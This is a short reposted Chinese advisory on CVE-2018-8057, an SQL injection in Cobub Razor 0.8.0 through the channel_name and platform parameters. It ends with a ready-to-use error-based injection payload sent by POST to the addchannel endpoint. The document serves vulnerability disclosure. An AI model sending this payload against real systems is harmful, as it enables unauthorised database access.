Cobub Razor 0.8.0存在SQL注入漏洞

声明

该文章为转载总结文章，如有侵权，请联系JoCatWFY@163.com

漏洞简介

漏洞名称	上报日期	漏洞发现者	产品首页	软件链接	版本	CVE编号
Cobub Razor 0.8.0存在SQL注入漏洞	2018-04-16	Kyhvedn（yinfengwuyueyi@163.com、kyhvedn@5ecurity.cn）	http://www.cobub.com/	https://github.com/cobub/razor/	0.8.0	CVE-2018-8057

漏洞概述

Cobub Razor 0.8.0存在SQL注入漏洞，“/application/controllers/manage/channel.php”页面的“channel_name”及“platform”参数过滤不严格导致存在SQL注入漏洞。Cobub Razor是一个在github上开源的系统，漏洞发现者已经将漏洞信息通过issues告知作者。

POC实现代码如下：

http://localhost/index.php?/manage/channel/addchannel

POST data:

1.channel_name=test” AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)– JQon&platform=1